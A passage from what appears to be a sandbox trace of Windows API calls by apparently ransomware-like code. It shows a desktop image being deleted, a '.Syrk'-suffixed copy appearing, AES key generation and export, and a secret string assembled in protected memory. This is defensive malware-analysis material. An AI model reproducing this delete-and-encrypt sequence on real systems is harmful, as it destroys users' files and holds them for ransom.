lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0200.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.358] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0200.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0200.358] CoTaskMemAlloc (cb=0x404) returned 0x5c92ac0 [0200.358] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c92ac0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0200.358] CoTaskMemFree (pv=0x5c92ac0) [0200.458] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 0x20 [0200.458] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0200.458] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp", lpFilePart=0x0) returned 0x2c [0200.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0200.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp"), fInfoLevelId=0x0, lpFileInformation=0x24025a8 | out: lpFileInformation=0x24025a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905a5400, ftCreationTime.dwHighDateTime=0x1d99735, ftLastAccessTime.dwLowDateTime=0x238838b0, ftLastAccessTime.dwHighDateTime=0x1d99c35, ftLastWriteTime.dwLowDateTime=0x238838b0, ftLastWriteTime.dwHighDateTime=0x1d99c35, nFileSizeHigh=0x0, nFileSizeLow=0x8e57)) returned 1 [0200.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0200.459] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp")) returned 1 [0200.466] EtwEventActivityIdControl () returned 0x0 [0200.468] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.468] EtwEventActivityIdControl () returned 0x0 [0200.468] EtwEventActivityIdControl () returned 0x0 [0200.468] EtwEventActivityIdControl () returned 0x0 [0200.479] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp.syrk")) returned 0x20 [0200.481] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp.syrk")) returned 0x20 [0200.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0200.481] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk", lpFilePart=0x0) returned 0x31 [0200.481] EtwEventActivityIdControl () returned 0x0 [0200.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.482] EtwEventActivityIdControl () returned 0x0 [0200.482] EtwEventActivityIdControl () returned 0x0 [0200.483] EtwEventActivityIdControl () returned 0x0 [0200.487] EtwEventActivityIdControl () returned 0x0 [0200.488] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.488] EtwEventActivityIdControl () returned 0x0 [0200.488] EtwEventActivityIdControl () returned 0x0 [0200.488] EtwEventActivityIdControl () returned 0x0 [0200.494] EtwEventActivityIdControl () returned 0x0 [0200.494] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.494] EtwEventActivityIdControl () returned 0x0 [0200.494] EtwEventActivityIdControl () returned 0x0 [0200.494] EtwEventActivityIdControl () returned 0x0 [0200.498] EtwEventActivityIdControl () returned 0x0 [0200.498] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.499] EtwEventActivityIdControl () returned 0x0 [0200.499] EtwEventActivityIdControl () returned 0x0 [0200.499] EtwEventActivityIdControl () returned 0x0 [0200.502] EtwEventActivityIdControl () returned 0x0 [0200.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.640] EtwEventActivityIdControl () returned 0x0 [0200.640] EtwEventActivityIdControl () returned 0x0 [0200.640] EtwEventActivityIdControl () returned 0x0 [0200.647] EtwEventActivityIdControl () returned 0x0 [0200.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0200.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\aYGQHCFalP7ms.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\aygqhcfalp7ms.bmp.syrk"), fInfoLevelId=0x0, lpFileInformation=0x240be4c | out: lpFileInformation=0x240be4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ce7f40, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf3ce7f40, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf3ed7120, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x8e74)) returned 1 [0200.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0200.657] GetConsoleOutputCP () returned 0x1b5 [0200.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0200.657] GetConsoleOutputCP () returned 0x1b5 [0200.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0200.658] GetConsoleOutputCP () returned 0x1b5 [0200.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.658] GetConsoleOutputCP () returned 0x1b5 [0200.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.658] GetConsoleOutputCP () returned 0x1b5 [0200.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0200.658] GetConsoleOutputCP () returned 0x1b5 [0200.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0200.659] GetConsoleOutputCP () returned 0x1b5 [0200.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.659] GetConsoleOutputCP () returned 0x1b5 [0200.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.659] GetConsoleOutputCP () returned 0x1b5 [0200.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0200.660] GetConsoleOutputCP () returned 0x1b5 [0200.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0200.660] GetConsoleOutputCP () returned 0x1b5 [0200.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.660] GetConsoleOutputCP () returned 0x1b5 [0200.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.660] GetConsoleOutputCP () returned 0x1b5 [0200.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0200.661] GetConsoleOutputCP () returned 0x1b5 [0200.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0200.661] GetConsoleOutputCP () returned 0x1b5 [0200.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.661] GetConsoleOutputCP () returned 0x1b5 [0200.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0200.661] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0200.662] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0200.663] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2438240*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2438240*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0200.663] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0200.664] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0200.667] EtwEventActivityIdControl () returned 0x0 [0200.667] EtwEventActivityIdControl () returned 0x0 [0200.667] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.668] EtwEventActivityIdControl () returned 0x0 [0200.668] EtwEventActivityIdControl () returned 0x0 [0200.668] EtwEventActivityIdControl () returned 0x0 [0200.671] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.672] EtwEventActivityIdControl () returned 0x0 [0200.672] EtwEventActivityIdControl () returned 0x0 [0200.672] EtwEventActivityIdControl () returned 0x0 [0200.676] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x5c4cee0) returned 1 [0200.678] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68d00) returned 1 [0200.678] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0200.678] CryptExportKey (in: hKey=0x5c68d00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0200.678] CryptExportKey (in: hKey=0x5c68d00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x243ff38, pdwDataLen=0x5a2e79c | out: pbData=0x243ff38*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0200.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0200.679] EtwEventActivityIdControl () returned 0x0 [0200.680] EtwEventActivityIdControl () returned 0x0 [0200.680] EtwEventActivityIdControl () returned 0x0 [0200.680] SysStringLen (param_1="") returned 0x8 [0200.680] SysStringLen (param_1="i") returned 0x8 [0200.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.681] SysStringLen (param_1="ᖈ埲꼀볓簛䃸寄") returned 0x8 [0200.681] SysStringLen (param_1="ᖈ埲꼀볓簛䃸寄") returned 0x8 [0200.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.681] SysStringLen (param_1="il") returned 0x8 [0200.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.681] SysStringLen (param_1="೹㋃흗粍컳꽵疺崩") returned 0x8 [0200.681] SysStringLen (param_1="೹㋃흗粍컳꽵疺崩") returned 0x8 [0200.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.681] SysStringLen (param_1="il5") returned 0x8 [0200.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.681] SysStringLen (param_1="⚁lj疈ජ꾀쑵ᅉ") returned 0x8 [0200.682] SysStringLen (param_1="⚁lj疈ජ꾀쑵ᅉ") returned 0x8 [0200.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.682] SysStringLen (param_1="il55") returned 0x8 [0200.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.682] SysStringLen (param_1="\x91ᢸ⭛绾㆜珟㲝휏") returned 0x8 [0200.682] SysStringLen (param_1="\x91ᢸ⭛绾㆜珟㲝휏") returned 0x8 [0200.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.682] SysStringLen (param_1="il55x") returned 0x8 [0200.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.682] SysStringLen (param_1="﵁뚉䔇▦䖘芷\⋞) returned 0x8 [0200.682] SysStringLen (param_1="﵁뚉䔇▦䖘芷\⋞) returned 0x8 [0200.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.682] SysStringLen (param_1="il55xa") returned 0x8 [0200.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.683] SysStringLen (param_1="桴嫍׏늨鑰槕⺰") returned 0x8 [0200.683] SysStringLen (param_1="桴嫍׏늨鑰槕⺰") returned 0x8 [0200.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.683] SysStringLen (param_1="il55xar") returned 0x8 [0200.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.683] SysStringLen (param_1="旬蓛吇䝚鰻㊗횽綵") returned 0x8 [0200.683] SysStringLen (param_1="旬蓛吇䝚鰻㊗횽綵") returned 0x8 [0200.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.683] SysStringLen (param_1="il55xarI") returned 0x8 [0200.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0200.683] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁") returned 0x8 [0200.684] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁") returned 0x8 [0200.684] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁") returned 0x8 [0200.684] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁") returned 0x10 [0200.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.684] SysStringLen (param_1="il55xarI9訯ᠤ鱓ྚ遴ᛲ⣇") returned 0x10 [0200.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.684] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁펞噔ᕮ쥿͗拷") returned 0x10 [0200.684] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁펞噔ᕮ쥿͗拷") returned 0x10 [0200.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.684] SysStringLen (param_1="il55xarI9Uᠤ鱓ྚ遴ᛲ⣇") returned 0x10 [0200.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.685] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁쇞ڬ㶼몀萟쭸妗㴶") returned 0x10 [0200.685] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁쇞ڬ㶼몀萟쭸妗㴶") returned 0x10 [0200.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.685] SysStringLen (param_1="il55xarI9UE鱓ྚ遴ᛲ⣇") returned 0x10 [0200.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.685] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁ɩ鈓혬꫺\쟜쇿荢∳) returned 0x10 [0200.685] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁ɩ鈓혬꫺\쟜쇿荢∳) returned 0x10 [0200.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.685] SysStringLen (param_1="il55xarI9UEUྚ遴ᛲ⣇") returned 0x10 [0200.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.685] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁淹庍酌㡺᭙玚綘") returned 0x10 [0200.685] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁淹庍酌㡺᭙玚綘") returned 0x10 [0200.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.685] SysStringLen (param_1="il55xarI9UEUu遴ᛲ⣇") returned 0x10 [0200.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.686] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁\ᇟ鬫덣郡晊ׇ⊕) returned 0x10 [0200.686] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁\ᇟ鬫덣郡晊ׇ⊕) returned 0x10 [0200.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.686] SysStringLen (param_1="il55xarI9UEUucᛲ⣇") returned 0x10 [0200.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.686] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁壾ﭝ餻坼왈浾ⵌチ") returned 0x10 [0200.686] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁壾ﭝ餻坼왈浾ⵌチ") returned 0x10 [0200.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.686] SysStringLen (param_1="il55xarI9UEUucv⣇") returned 0x10 [0200.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.686] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁砘徃扬﷊䈶벶汝宸") returned 0x10 [0200.686] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁砘徃扬﷊䈶벶汝宸") returned 0x10 [0200.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.687] SysStringLen (param_1="il55xarI9UEUucva") returned 0x10 [0200.687] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0200.687] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩") returned 0x10 [0200.687] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩") returned 0x10 [0200.687] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩") returned 0x10 [0200.687] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩") returned 0x18 [0200.687] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.687] SysStringLen (param_1="il55xarI9UEUucvak僌鰏随\磙栛퉒≜) returned 0x18 [0200.687] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.688] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩碌ꨌ卓빟荇悑") returned 0x18 [0200.688] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩碌ꨌ卓빟荇悑") returned 0x18 [0200.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.688] SysStringLen (param_1="il55xarI9UEUucvakw鰏随\磙栛퉒≜) returned 0x18 [0200.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.688] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩桑뤝ƣ嶫〺澻韄ྮ") returned 0x18 [0200.688] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩桑뤝ƣ嶫〺澻韄ྮ") returned 0x18 [0200.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.688] SysStringLen (param_1="il55xarI9UEUucvakwy随\磙栛퉒≜) returned 0x18 [0200.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.689] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩騎묹툶ꏵ뗦ꤏ➊") returned 0x18 [0200.689] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩騎묹툶ꏵ뗦ꤏ➊") returned 0x18 [0200.689] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.689] SysStringLen (param_1="il55xarI9UEUucvakwyF\磙栛퉒≜) returned 0x18 [0200.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.689] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩뎦涮\枨퓜⫣쎮⋾) returned 0x18 [0200.689] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩뎦涮\枨퓜⫣쎮⋾) returned 0x18 [0200.689] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.689] SysStringLen (param_1="il55xarI9UEUucvakwyFP᭸剨峒") returned 0x18 [0200.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.831] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩珏\笇\ዚࣁ껷ﴏ") returned 0x18 [0200.831] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩珏\笇\ዚࣁ껷ﴏ") returned 0x18 [0200.831] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.831] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ剨峒") returned 0x18 [0200.831] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.832] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩瀩庪㛘ᢎ핳绲仞") returned 0x18 [0200.832] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩瀩庪㛘ᢎ핳绲仞") returned 0x18 [0200.832] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.832] SysStringLen (param_1="il55xarI9UEUucvakwyFPQ2峒") returned 0x18 [0200.832] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0200.832] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩撻瘘넠춑㭧簖貞恵") returned 0x18 [0200.832] SysStringLen (param_1="ᦣ늺潍⚝葵☋斁褨桙ⱁ刜괇ℛ釩撻瘘넠춑㭧簖貞恵") returned 0x18 [0200.832] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 